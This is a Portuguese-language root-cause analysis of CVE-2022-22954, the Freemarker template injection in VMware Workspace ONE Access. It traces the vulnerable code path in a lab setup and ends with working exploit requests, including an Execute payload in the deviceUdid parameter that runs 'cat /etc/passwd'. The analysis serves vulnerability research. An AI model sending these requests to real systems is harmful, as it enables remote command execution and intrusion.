
CVE-2022-22954 analista
Workspace ONE Access (modelo de fornecimento de espaço de trabalho como serviço) fornece autenticação multifator, logon único e acesso condicional para SaaS, aplicativos web e móveis. CVE-2022-22954 é uma vulnerabilidade de Server-side Template Injection presente nos produtos:
Baixe o arquivo ova do VMware Workspace ONE Access Appliance versão 21.08.0.1
Abra o arquivo com o VMware Workstation, a máquina virtual precisa ser colocada na rede NAT
Em Networking Properties, é necessário configurar o Host Name (FQDN)

Após a conclusão da instalação, acesse a URL https://{{hostname}}:8443/ para configurar a senha da conta do aplicativo, a senha da conta ssh e o banco de dados do aplicativo O aplicativo é executado em https://{{hostname}}/

Faça login na máquina virtual por meio da conta sshuser e mude para a conta root Descubra o caminho do aplicativo em /opt/vmware/horizon/workspace/ O código-fonte do aplicativo está no diretório /opt/vmware/horizon/workspacce/webapps

Verifique o arquivo /opt/vmware/horizon/workspace/bin/setenv.sh; observe que a variável JAVA_OPTS pode ser configurada para depuração remota

Adicione -agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n a JAVA_OPTS e reinicie o serviço
`systemctl restart horizon-workspace.service`
Baixe o arquivo hotfix HW-154129-applyWorkaround.py
Entre as etapas, há uma etapa que remove o arquivo templates/customError.ftl do aplicativo

No arquivo customError.ftl, existe uma função eval. A vulnerabilidade Freemarker SSTI pode ser explorada a partir daqui se for possível controlar o valor de errorObj.


Na classe com.vmware.enusercatalog.ui.web.UiErrorController, vemos que o método handleGenericError atribui o valor a errorObj por meio da variável errorMessage

Continue rastreando as chamadas de métodos e o parâmetro errorMessage
Método handleUnauthorizedError

Método getErrorPage

Nos métodos sendError e sendUnhandledError, o valor de errorMessage é obtido da propriedade javax.servlet.error.message


Na classe com.vmware.endusercatalog.ui.web.UiApplicationExceptionResolver, a propriedade javax.servlet.error.message”* recebe seu valor no método resolverExeption

O método handleAnyGenericExeption é anotado com @ExeptionHandler

Na classe com.vmware.endusercatalog.ui.UiApplication, entre os pacotes anotados com @CommponentScan está com.vmware.endusercatalog.auth

=> As exceções neste pacote podem ser capturadas pelo método handleAnyGenericExeption
Em com.vmware.endusercatalog.ui.config, o interceptor AuthContextPopilationInterceptor é adicionado aos caminhos /ui, /hub-ui, /hub-ui/byob, /logout, /ui/oauth/verify


Seguindo para a classe com.vmware.endusercatalog.auth.interceptor.AuthContextPopulationInterceptor, no método preHandle, o aplicativo recebe 2 parâmetros deviceUdid e deviceType e chama o método authContextBuilder

Na classe com.vmware.endusercatalog.auth.interceptor.AuthContext, a exceção InvalidAuthContextException será lançada se a condição this.isValidRequest não for satisfeita


Para que isValidRequest seja satisfeita, os 2 parâmetros this.deviceId e this.deviceType precisam estar simultaneamente vazios ou simultaneamente preenchidos

=> passar valor para apenas 1 dos 2 parâmetros resultará em erro aqui

Envie a requisição
GET /catalog-portal/ui/oauth/verify?deviceUdid=111
aparece o erro:
An unexpected error occurred while processing request with requestId: {0}.
Voltando ao método com.vmware.endusercatalog.ui.web.WorkspaceOauth2CodeVerificationController, percebemos que o erro acima ocorre devido à ausência do parâmetro obrigatório error
@GetMapping(
value = {"/ui/oauth/verify"},
params = {"error"}
)
@ApiOperation(
value = "authorizeError",
notes = ""
)
public void authorizeError(@ApiParam @RequestParam String error, @ApiParam @RequestParam(name = "error_description") String errorDescription, @ApiParam @RequestParam(defaultValue = "/admin/") String state) {
LOGGER.debug("Failed to obtain authorization code due to {}:{} received for {}", new Object[]{error, errorDescription, state});
throw new AuthorizationCodeFailedRetrievalException(new Object[]{error, state});
}
Envie novamente a requisição
GET /catalog-portal/ui/oauth/verify?error=&deviceUdid=111abc
o valor de deviceUdid aparece na resposta

Insira o parâmetro que causa o SSTI do Freemarker

Envie a requisição com o valor
deviceUdid=${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}

